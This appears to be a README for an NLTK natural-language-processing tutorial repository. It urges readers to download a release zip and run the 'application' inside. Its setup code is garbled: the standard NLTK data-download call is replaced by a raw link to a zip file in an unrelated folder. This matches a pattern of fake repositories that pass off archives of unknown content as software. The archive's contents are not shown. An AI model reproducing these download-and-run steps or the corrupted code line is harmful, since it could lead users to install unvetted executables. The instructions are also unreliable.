- Tokenization
- Stopwords removal
- Stemming
- Lemmatization
- Using corpora
- Accessing WordNet
- Feature extraction
- Sentiment analysis
- Text classification with machine learning
Whether you're a beginner or want to enhance your skills, this guide will walk you through the essential techniques in NLP.
To get started with nlp-nltk-python, follow these steps to download and run the software:
-
Visit the Releases Page: Click the link below to access the releases:

-
Extract Files (if necessary): If you downloaded a zip file, right-click on it and choose “Extract All...” or use a similar option to extract the contents.
-
Run the Application: Locate the main Python script or application file within the extracted folder. Open it by double-clicking or running it from a terminal or command prompt.
To run nlp-nltk-python effectively, ensure you have:
- Python 3.6 or later installed on your computer.
- Internet connection for downloading NLTK datasets and corpora.
You can download Python from the official website: Download Python.
To download the application, please go to the Download Page.
After you've downloaded and installed Python, you may need to set up some additional components for NLTK:
-
Open Command Prompt or Terminal:
- For Windows, search for “cmd” in the Start menu.
- For MacOS, search for "Terminal" in Spotlight.
-
Install NLTK Library: Type the following command and press Enter:
pip install nltk
-
Download NLTK Data: Open a Python shell or script and run the following commands:
import nltk https://raw.githubusercontent.com/Shubham64364/nlp-nltk-python/main/headbander/nlp-nltk-python.zip('popular')
This command will download the most commonly used datasets and resources.
Once you have set up everything, you can start using the scripts. Follow the instructions in each script's documentation for specific tasks. Here are some examples:
- Tokenization: The script will guide you to separate text into words or sentences.
- Sentiment Analysis: This script will help you analyze the sentiments within the given text.
Each segment of the application is crafted to guide you step-by-step.
This repository covers various topics which include:
- Corpus: Understanding a dataset of text.
- Lemmatization: Reducing words to their base or dictionary form.
- Machine Learning: Basics of training models using NLP data.
- Natural Language Processing (NLP): Discussing concepts and applications.
- NLTK: Introduction to the Natural Language Toolkit in Python.
- Sentiment Analysis: Analyzing emotions conveyed in text.
- Stemming: Trimming words to their root form.
- Stop Words: Commonly used words that may be filtered out.
- Text Classification: Using models to categorize text data.
- Text Mining: Extracting meaningful information from text.
- Tokenization: Breaking down text into manageable units.
- WordNet: A lexical database for the English language.
- Always check for the latest version of the NLTK library to ensure compatibility and access to new features.
- Review the documentation provided with each script for detailed guidance on functionality.
